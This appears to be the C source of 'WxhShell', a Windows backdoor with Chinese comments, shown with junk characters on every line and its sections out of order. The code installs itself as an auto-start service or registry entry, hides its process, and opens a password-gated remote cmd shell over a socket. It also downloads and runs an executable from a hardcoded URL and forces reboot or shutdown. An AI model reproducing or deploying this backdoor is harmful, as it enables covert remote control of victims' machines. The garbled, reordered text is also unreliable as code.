    if(Boot(SHUTDOWN)) 1--5ok h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y "gYv  
    else { hCM+=]z"  
    closesocket(wsh); L_O m<LO2  
    ExitThread(0);  $33wK  
    } b16\2%Ea1  
    break; *&!&Y*Jzg  
    } T2GJoJ!  
  // 获取shell U",kAQY  
  case 's': { {o AJL  
    CmdShell(wsh); o[aRG7C  
    closesocket(wsh); fE,\1LK4  
    ExitThread(0); c.r]w  
    break; z" 4$mh  
  } [WuN?H  
  // 退出 -:Yx1Y3 [  
  case 'x': { </Ja@%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |G } qY5_  
    CloseIt(wsh); 5Q =o.wf  
    break; |}=xA%)  
    } bt"*@NJ$  
  // 离开 Iy'a2@   
  case 'q': { x+47CDDu3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rdSkGb  
    closesocket(wsh); C,&r7  
    WSACleanup(); FZO}+ P  
    exit(1); 5V]!xi  
    break; sBt,y _LW  
        } 7;5SK:X%dm  
  } Xnpw'<~X  
  } d=yuuS /  
22(7rUkI  
  // 提示信息 =HH}E/9z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OjFB_ N  
} ch!/k  
  } "`s{fy~mV  
e+Vn@-L;  
  return; PVLLuv  
} c7Jfo x V  
V9bn  
// shell模块句柄 lXjhT  
int CmdShell(SOCKET sock) 0M-=3T  
{ A63=$  
STARTUPINFO si; ,Y  ./9F  
ZeroMemory(&si,sizeof(si)); [2ez"4e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dv1Y2[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M8(N9)N  
PROCESS_INFORMATION ProcessInfo; ~U}0=lRVS  
char cmdline[]="cmd"; E9<oA.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #? u#=]  
  return 0; P-U9FKrt  
} k nTCX  
%OE (?~dq  
// 自身启动模式 N3"O#C  
int StartFromService(void) OiI29  
{ Ku$:.  
typedef struct LYhjI  
{ *sz:c3{_  
  DWORD ExitStatus; | $  
  DWORD PebBaseAddress; V(wm?Cc]  
  DWORD AffinityMask; /fgy07T  
  DWORD BasePriority; rU/8R'S  
  ULONG UniqueProcessId; :< X&y  
  ULONG InheritedFromUniqueProcessId; w]1Ltq*g/  
}   PROCESS_BASIC_INFORMATION; /#TtAkH  
Bre:_>*  
PROCNTQSIP NtQueryInformationProcess; C( wZj O?N  
Bc&Y[u-n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J@$KF GUs  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; = Zi'L48  
Op<,e{[]  
  HANDLE             hProcess; &1 t84p:^=  
  PROCESS_BASIC_INFORMATION pbi; ]?c9;U  
1{1 5#W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "d"6.ND  
  if(NULL == hInst ) return 0; cb82k[L6  
?vh1 >1D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %^pm~ck!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'nJ,mZx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tqk^)c4FF(  
*E.uqu>I  
  if (!NtQueryInformationProcess) return 0; b@X+vW{S  
?hBjq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); erlg\-H   
  if(!hProcess) return 0; YUjKOPN  
yd|ao\'=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yi.GD~69  
Ky[s& >02  
  CloseHandle(hProcess); N||a0&&  
9KCeKT>v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vFwhe!  
if(hProcess==NULL) return 0; _kEU=)Xe  
OjWg>v\ v  
HMODULE hMod; :6TLT-B  
char procName[255]; [[s^rC<d  
unsigned long cbNeeded; ,eSII2,r4  
,,8'29yEq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bt'lT  
tZ>'tE   
  CloseHandle(hProcess); {c}n."`  
'+&!;Jj,  
if(strstr(procName,"services")) return 1; // 以服务启动 xcE2hK/+  
M.qE$  
  return 0; // 注册表启动 ?+_Y!*J2b  
} SDu%rr7sQ  
'IQ;; [Q  
// 主模块 !,<rW<&;  
int StartWxhshell(LPSTR lpCmdLine) fD<0V  
{ A=96N@m6  
  SOCKET wsl; +k;][VC[O  
BOOL val=TRUE; r;~7$B)  
  int port=0; W#9A6ir>  
  struct sockaddr_in door; g|Xjw Ti8$  
C23Gp3_0/  
  if(wscfg.ws_autoins) Install(); AGhr(\j  
R!>l7p/|H)  
port=atoi(lpCmdLine); Y>2oU`ly,  
QC Jf   
if(port<=0) port=wscfg.ws_port; h^v+d*R N  
P" aw--f(  
  WSADATA data; lw`$(,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m^$KDrkD  
K |^OnM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p'4ZcCW?f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T s9go  
  door.sin_family = AF_INET; ZFC&&[%-sG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @rE+H 5  
  door.sin_port = htons(port); @yNCWa~N  
Z{^Pnit  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }hA)p:  
closesocket(wsl); m`&6[[)6~  
return 1; RveEA/&&  
} mXT{c=N)w  
t=IM"ZgfL  
  if(listen(wsl,2) == INVALID_SOCKET) { 0ZJrK\K;  
closesocket(wsl); 6m0- he~  
return 1; )1/J5DI @8  
} _};T:GOT  
  Wxhshell(wsl); F;ELsg  
  WSACleanup(); Dco3`4pl  
i4<n#]1!t  
return 0; 8Xa{.y"  
\7WZFh%:  
} _b! TmS#F1  
({<qs}H"  
// 以NT服务方式启动 | MXRNA~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UYH&x:WEd  
{ o4H'  
DWORD   status = 0; Y z],["*Q  
  DWORD   specificError = 0xfffffff; !JQ'~#jKN  
chu r(@Af  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R:y u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X\|h:ce  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .-:@+=(  
  serviceStatus.dwWin32ExitCode     = 0; _#yd0E  
  serviceStatus.dwServiceSpecificExitCode = 0; Of;$ VK'  
  serviceStatus.dwCheckPoint       = 0; 6$G@>QCBS  
  serviceStatus.dwWaitHint       = 0; Z8:'_#^@a[  
)U+&XjK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :+<GJj_d+  
  if (hServiceStatusHandle==0) return; A i~d  
i9^m;Y)^I  
status = GetLastError(); a/Cc.s   
  if (status!=NO_ERROR) 7 V=%&+  
{ ,#.9^J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m^;A]0h+  
    serviceStatus.dwCheckPoint       = 0; D26A%[^O  
    serviceStatus.dwWaitHint       = 0; LIh71Vg/cc  
    serviceStatus.dwWin32ExitCode     = status; Q[ .d  
    serviceStatus.dwServiceSpecificExitCode = specificError; )2?A|f8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ym wb2]M  
    return; "b0!h6$!H  
  } g7r0U6Y  
b`^mpB*6R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?Lem|zo  
  serviceStatus.dwCheckPoint       = 0; oF.H?lG7`  
  serviceStatus.dwWaitHint       = 0; $yZ(ws  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KV|ywcGhT  
} d[&Ah~,  
kOV6O?h  
// 处理NT服务事件,比如:启动、停止 ;'oi7b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 84c[Z   
{ 7jPn6uz>w  
switch(fdwControl) :Oc&{z?q  
{ ?>iZ){0,  
case SERVICE_CONTROL_STOP: ++CL0S$e  
  serviceStatus.dwWin32ExitCode = 0; 8]&lUMaqVZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (h27SLYm  
  serviceStatus.dwCheckPoint   = 0; 70E@h=oQ  
  serviceStatus.dwWaitHint     = 0; W C3b_ia  
  { sx][X itR+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^"4u1  
  } HE*P0Y f=  
  return; x=3+@'  
case SERVICE_CONTROL_PAUSE: }J] P`v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XaYgl&x'!x  
  break;  p/?TU  
case SERVICE_CONTROL_CONTINUE: 'p4b8:X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l?zWi[Zf  
  break; 6'JP%~QlS  
case SERVICE_CONTROL_INTERROGATE: C<hb{$@  
  break; \2AXW@xE  
}; MJ~)CiKgN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `bEum3l\6]  
} -P$E)5?^  
Yd$64d7,h  
// 标准应用程序主函数 N0&#fXO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nXxSv~r  
{ 5h>t4 [~  
/[Sy;wn  
// 获取操作系统版本 v QL)I  
OsIsNt=GetOsVer(); #mbl4a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'q*:+|"  
ybVdWOqv  
  // 从命令行安装 $:<G=  
  if(strpbrk(lpCmdLine,"iI")) Install(); \:-N<[  
ATf{;S}  
  // 下载执行文件 W'<cAg?  
if(wscfg.ws_downexe) { -O>*` O>M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2O)2#N  
  WinExec(wscfg.ws_filenam,SW_HIDE); W'M\DKJ?  
} fSzX /r  
-Q P&A >]7  
if(!OsIsNt) { gfAVxMg  
// 如果时win9x,隐藏进程并且设置为注册表启动 'gv7&$X}4  
HideProc(); OvW/{  
StartWxhshell(lpCmdLine); bHH=MLZR:  
} ,__|SnA.  
else s`"ALn8m  
  if(StartFromService()) .X(ocs$}  
  // 以服务方式启动 da53XEF&  
  StartServiceCtrlDispatcher(DispatchTable); pd X"M>  
else &<%U7?{~  
  // 普通方式启动 w\3'wD!  
  StartWxhshell(lpCmdLine); 7`6JK  
IXmO1*o@  
return 0; ti9 cfv>  
} !YEU<9  
G/C5o=cY  
$; t#pN/`  
=Pg u?WU@  
=========================================== @DYkWivLu  
#L,5;R{`  
'BwM{c-O"  
Y&_1U/}h  
9=Rj9%  
h\^> s$  
" JPTVZ  
r&-I r3[  
#include <stdio.h> hDs.4MZC`  
#include <string.h> Kq`"}&0b\  
#include <windows.h> 7w=%aW|  
#include <winsock2.h> S+C^7# lT  
#include <winsvc.h> to*<W,I  
#include <urlmon.h> U[8Cg  
CQNt  
#pragma comment (lib, "Ws2_32.lib") @7 *Ag~MRb  
#pragma comment (lib, "urlmon.lib") er0ClvB  
A4W61f  
#define MAX_USER   100 // 最大客户端连接数 v]HiG_C  
#define BUF_SOCK   200 // sock buffer U%na^Wu  
#define KEY_BUFF   255 // 输入 buffer [ {B1~D-  
<ArP_! `3  
#define REBOOT     0   // 重启 kVZ5>D$  
#define SHUTDOWN   1   // 关机 ywV8s|o  
c/57_fOK  
#define DEF_PORT   5000 // 监听端口 20f):A6  
!S',V&Yb  
#define REG_LEN     16   // 注册表键长度 #UH7z 4u  
#define SVC_LEN     80   // NT服务名长度 ^ok;<fJ  
(N\Zz*PLz  
// 从dll定义API ;{inhiySN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <~Tlx:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $zBG19 [%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \HOOWaapN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E$[\Fk}S  
Az2$\  
// wxhshell配置信息 < &'r_m  
struct WSCFG { R`:NUGR  
  int ws_port;         // 监听端口 ^50/.Z >  
  char ws_passstr[REG_LEN]; // 口令 ;pNHT*>u,  
  int ws_autoins;       // 安装标记, 1=yes 0=no $|YIr7?R  
  char ws_regname[REG_LEN]; // 注册表键名 c#e_Fs  
  char ws_svcname[REG_LEN]; // 服务名 8EPV\M1%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ft[g1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^eEj 5Rh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g~@0p7]Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {P#&e>)v{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RfB""b8]=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =#<hT s  
'gojP  
}; _ QM  
Al`[Iu&  
// default Wxhshell configuration Ga%]$4u  
struct WSCFG wscfg={DEF_PORT, "/?*F\5  
    "xuhuanlingzhe", gH0B[w ]  
    1, %6"b< MAO  
    "Wxhshell", 1a90S*M  
    "Wxhshell", R6Cm:4m}I  
            "WxhShell Service", Tf"DpA!_  
    "Wrsky Windows CmdShell Service", 1h+!<c q  
    "Please Input Your Password: ", GfU+'k;9  
  1, G1~|$X@@  
  "http://www.wrsky.com/wxhshell.exe", k[ Iwxl;/  
  "Wxhshell.exe" 8Db~OYVJG  
    }; bhSpSul  
z[S,hD\w  
// 消息定义模块 \wNn c"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t{>66jm\R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tGd<{nF%2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |b/J$.R  
char *msg_ws_ext="\n\rExit."; IR%a+;Xs  
char *msg_ws_end="\n\rQuit."; 9kP!O_  
char *msg_ws_boot="\n\rReboot..."; Em@h5V  
char *msg_ws_poff="\n\rShutdown..."; K. R2)o`  
char *msg_ws_down="\n\rSave to "; [JVI@1T  
,/W< E  
char *msg_ws_err="\n\rErr!"; lrh6lt)  
char *msg_ws_ok="\n\rOK!"; fu=}E5ScK  
);z}T0C  
char ExeFile[MAX_PATH]; %MP s}B  
int nUser = 0; #Y}Hh7.<  
HANDLE handles[MAX_USER]; .tN)H1.:B  
int OsIsNt; 2>O2#53ls0  
J6 [x(T  
SERVICE_STATUS       serviceStatus; "\BP+AF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Whd4-pR8  
}C7tlA8,7  
// 函数声明 ^^?DYC   
int Install(void); G-3.-  
int Uninstall(void); 9zO3KT2  
int DownloadFile(char *sURL, SOCKET wsh); D-3/?"n  
int Boot(int flag); &,."=G  
void HideProc(void); ?GFxJ6!%I  
int GetOsVer(void); ].dTEzL9X  
int Wxhshell(SOCKET wsl); y=vH8D]%X  
void TalkWithClient(void *cs); e^XijId.  
int CmdShell(SOCKET sock); AD?DIE(v  
int StartFromService(void); 7^iF,N  
int StartWxhshell(LPSTR lpCmdLine); 6ddkUPTF  
/2dK*v0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p!aeL}g`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g-p OO/|  
SC2C%.%l`  
// 数据结构和表定义 45MK|4\Y_  
SERVICE_TABLE_ENTRY DispatchTable[] = t48(GKF  
{ {C]M]b*F6(  
{wscfg.ws_svcname, NTServiceMain}, 4rM77Uw>  
{NULL, NULL} 1wc -v@E  
}; -'PpY302  
;@d %<yMf@  
// 自我安装 XFu@XUk!K  
int Install(void) 4E |6l  
{ ^ 2kWD8c*  
  char svExeFile[MAX_PATH]; }=;>T)QmMO  
  HKEY key; R\.huOJh  
  strcpy(svExeFile,ExeFile); doR'=@ W  
mLk Z4OZ  
// 如果是win9x系统,修改注册表设为自启动 z)VIbEy  
if(!OsIsNt) { n/,7ryu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k@8#Byl|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |O4A+S  
  RegCloseKey(key); .v" lY2:N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rd,mbH[<C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uPF yRWK  
  RegCloseKey(key); u4<r$[]V  
  return 0; ]R4)FH|><  
    } HJJ ^pk&  
  } Oq[E\8Wn  
} L|q<Bpz  
else { #h3+T*5} 6  
4{vd6T}V!  
// 如果是NT以上系统,安装为系统服务 Eq8OAuN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?J~JQe42  
if (schSCManager!=0) b<F 4_WF  
{ 40#KcbMa|  
  SC_HANDLE schService = CreateService 7 YK+TGmU^  
  ( Nu_ w@T\l  
  schSCManager, G wW#Ww;Oc  
  wscfg.ws_svcname, kQ#eWk J,  
  wscfg.ws_svcdisp, *c AoE l  
  SERVICE_ALL_ACCESS, `>sqP aD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DYWC]*  
  SERVICE_AUTO_START, 4iLU "~  
  SERVICE_ERROR_NORMAL, ]JD$fS=_  
  svExeFile, R&4E7wrdP  
  NULL, ]~qN<x  
  NULL, Vd?v"2S(9  
  NULL, m_(hCY=Q$  
  NULL, i52R,hz  
  NULL 1!f'nS  
  ); ^z^>]Qd  
  if (schService!=0) }=|ZEhtOp  
  { -1_Z*?=-  
  CloseServiceHandle(schService); N/%#GfXx  
  CloseServiceHandle(schSCManager); (t]>=p%4g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  wi9|  
  strcat(svExeFile,wscfg.ws_svcname); Q jBCkx]g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Yjl0Pz .q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }-L@AC/\#  
  RegCloseKey(key); 5{g9Wh[  
  return 0; JG<3,>@%  
    } /J+)P<_A  
  } 7P`1)juA9  
  CloseServiceHandle(schSCManager); (Z$6J Nkz  
} >o} ati  
} s =5H.q%PV  
yhdG 93  
return 1; bvgD;:Aj  
} 2Y4&Sba^Y  
W<LaR,7  
// 自我卸载 >ek%P;2w>  
int Uninstall(void) [;=ky<K0E  
{ cLU*Tx\  
  HKEY key; Q$vr`yV#=6  
YW{V4yW  
if(!OsIsNt) { ? g{,MP5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >Y+KL  
  RegDeleteValue(key,wscfg.ws_regname); D9C}Dys  
  RegCloseKey(key); Cv~hU%1T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Qf|}%}% fp  
  RegDeleteValue(key,wscfg.ws_regname); "?{yVu~9  
  RegCloseKey(key); d8kwW!m+  
  return 0; e 1loI8  
  } BP[U` !  
} .V3Dql@z"  
} l1)pr{A  
else { Qyjuzfmz  
'U"3'jh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BZ<z@DJp  
if (schSCManager!=0) G zXP  
{ ]'h)7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #5C3S3e=  
  if (schService!=0) M=WE^v!b  
  { #P-HV  
  if(DeleteService(schService)!=0) { X{xJ*T y'  
  CloseServiceHandle(schService); 1Kh?JH  
  CloseServiceHandle(schSCManager); 7h]R{_  
  return 0; Kk98FI0]  
  } [U(&Ae0V>  
  CloseServiceHandle(schService); zzQH@D1  
  } 'q'Y:A?,  
  CloseServiceHandle(schSCManager); 8~ )[d!'  
} vEe  
} ++!E9GU{  
&{/>Sv!6#  
return 1; i`aG  
} YB{E= \~  
#=H}6!18  
// 从指定url下载文件 JX)z<Dz$  
int DownloadFile(char *sURL, SOCKET wsh) Cj1UD;  
{ B ^(rUR  
  HRESULT hr; *wB-lg7%  
char seps[]= "/"; ,A!e"=HF  
char *token; b<(UmRxx3  
char *file; % B &?D@  
char myURL[MAX_PATH]; ePpK+E[0Z  
char myFILE[MAX_PATH]; ~9 WJrRWB  
,Q#tA|:8j  
strcpy(myURL,sURL); /Z " 4[  
  token=strtok(myURL,seps); /C"s_:m;3  
  while(token!=NULL) fF>qU-  
  { aaug u.9  
    file=token; I!7.fuO  
  token=strtok(NULL,seps); W:poUG1UR  
  } /e sk  
K2rS[Kdfaq  
GetCurrentDirectory(MAX_PATH,myFILE); z83:a)U  
strcat(myFILE, "\\"); `VFl|o#H  
strcat(myFILE, file); ZU.)K>'  
  send(wsh,myFILE,strlen(myFILE),0); :ZfUjqRE  
send(wsh,"...",3,0); ,N7l/6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pd>a6 lI`  
  if(hr==S_OK) ~R@m!'I k  
return 0; :/[YY?pg-  
else : |*,Lwvd  
return 1; 01c/;B  
X_({};mz  
} <SM&VOiaOz  
M}oj!xGB  
// 系统电源模块 c^Gwri4  
int Boot(int flag) , q@(L  
{ _d0-%B 9m  
  HANDLE hToken; ;k&k#>L!K  
  TOKEN_PRIVILEGES tkp; #Wm@&|U  
ROt0<^<  
  if(OsIsNt) { vx5o k1UY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tbzvO<~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q\b ?o!# _  
    tkp.PrivilegeCount = 1; `{|}LFS>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &Y>~^$`J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  mz VuQ  
if(flag==REBOOT) { x\bRj>%(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W8yfa[z~J  
  return 0; ;Q>3N(  
} W3V{Xk|  
else { v8vh~^X%P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ({_:^$E\  
  return 0; )Kk(P/s  
} Fma`Cm.  
  } ;*4tVp,  
  else { t6%xit+  
if(flag==REBOOT) { FP'u)eU&3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \eMYw7y5 M  
  return 0; J]Gc  
} &iND&>?  
else { 4}8+)Pd  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -m'3L7:  
  return 0; jdg ~!<C  
} E #{WU}  
} !!+/Wgd:6  
af?\kBm  
return 1; @Wx`l) b  
} ^8-~@01.`_  
k|$"TFXx;  
// win9x进程隐藏模块 }u3H4S<o  
void HideProc(void) L >Ez-  
{ spU!t-n67  
J'\eS./w|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W#Hv~1  
  if ( hKernel != NULL ) QK3j_'F=E  
  { d1uG[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IGK_1@tq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 27*(oT  
    FreeLibrary(hKernel); zA'gb'MmW  
  } -0KbdHIKb'  
[zh4W*K_cq  
return; "\zj][sL  
} _Xk03\n6  
csFJ5  
// 获取操作系统版本 1IF'>*  
int GetOsVer(void) CDnR  
{ 6N %L8Q  
  OSVERSIONINFO winfo; FU (}=5n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zhA',p@K?_  
  GetVersionEx(&winfo); ^iV`g?z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d#vS E.&  
  return 1; 94h_t@Q/1  
  else u_p7Mcb  
  return 0; |`k1zc)9  
} RvPniT(<?  
PV]k3&y  
// 客户端句柄模块 w `. T/  
int Wxhshell(SOCKET wsl) y= oVUsG  
{ (N*<\6kr  
  SOCKET wsh; BS-:dyBw  
  struct sockaddr_in client; ! =\DC,-CB  
  DWORD myID; re ]Ste  
_d\u!giy  
  while(nUser<MAX_USER) u8<&F`7j  
{ ;* wT,2;  
  int nSize=sizeof(client); <*A|pns  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n?ZL"!$  
  if(wsh==INVALID_SOCKET) return 1; o%/-5-  
]{Mci]H6T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <uBhi4  
if(handles[nUser]==0) #Cg}!38  
  closesocket(wsh); G.-h=DT]  
else q:2aPfo&  
  nUser++; *;OJ ~zT  
  } [xZ/ZWb/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C-a*EG  
aDN6MZM  
  return 0; B@"SOX  
} *l>[`U+  
;T5,T   
// 关闭 socket 6Q.{llO  
void CloseIt(SOCKET wsh) wO2V%v^bp  
{ r 1l/) ;  
closesocket(wsh); l50|` 6t  
nUser--; e(OwS?K  
ExitThread(0); IFd )OZ5  
} S+) l[0  
YM #  
// 客户端请求句柄 Qq,i  
void TalkWithClient(void *cs) 6?1s`{yy  
{ Sc;iAi (  
Ie G7@  
  SOCKET wsh=(SOCKET)cs;  _DPB?)!x  
  char pwd[SVC_LEN]; 3d,-3U  
  char cmd[KEY_BUFF]; L,Ao.?j  
char chr[1]; P3>..fhoW  
int i,j; S3ab0JM  
&Q-[;  
  while (nUser < MAX_USER) { H Z;ZjC*  
w+Z--@\  
if(wscfg.ws_passstr) { "*Lj8C3|n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8 3z'#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5u2{n rc  
  //ZeroMemory(pwd,KEY_BUFF); XKz;o^1a^  
      i=0; )z2|"Lp  
  while(i<SVC_LEN) { 5y1or  
.-SDo"K.h  
  // 设置超时 g  ,/a6M  
  fd_set FdRead; D~G5]M,}$  
  struct timeval TimeOut; F[>7z3I  
  FD_ZERO(&FdRead); 'O.+6`&  
  FD_SET(wsh,&FdRead); :r1;}hIA9  
  TimeOut.tv_sec=8; U}tl_5%)  
  TimeOut.tv_usec=0; x4CtSGG85f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *'UhlFed  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0K=Qf69Y  
CCbkxHMf|!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .dD9&n;#^  
  pwd=chr[0]; B<|:K\MA  
  if(chr[0]==0xd || chr[0]==0xa) { .ocx(_3G  
  pwd=0; XIr{U5$<6  
  break; 2Pbe~[  
  } Q)x?B]b-  
  i++; w{k1Y+1  
    } RL?u n}Qa  
u] F7 0C^~  
  // 如果是非法用户,关闭 socket Ni+3b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  Jt##rVN  
} zq,iLoY[R  
iP<k1#k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BQyvj\uJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j y7  
;EgzC^2e  
while(1) { 6OfdD.y  
t9G}Yd[T  
  ZeroMemory(cmd,KEY_BUFF); G 6Wx3~  
( MB`hk-d  
      // 自动支持客户端 telnet标准   M (+.$uz  
  j=0; o .l;: Un  
  while(j<KEY_BUFF) { q:vz?G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1*Sr5N[=  
  cmd[j]=chr[0]; \n[ 392  
  if(chr[0]==0xa || chr[0]==0xd) { ?k [%\jq{a  
  cmd[j]=0; .CVUEK@Z4  
  break; k1wCa^*gc  
  } "e~k-\^Y  
  j++; %4j&H!y-w;  
    } ;knd7SC   
|J:$MX~  
  // 下载文件 RS'} nY}  
  if(strstr(cmd,"http://")) { cvKV95bn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1s Br.+p  
  if(DownloadFile(cmd,wsh)) D+f'*|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "kX`FaAhY  
  else G7 1U7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .2e1S{9  
  } fs&,w  
  else { ]\OWZ{T'j  
W@l+ciZ_  
    switch(cmd[0]) { k]Zo-xh4  
  ;SfNKu  
  // 帮助 zu52 p4  
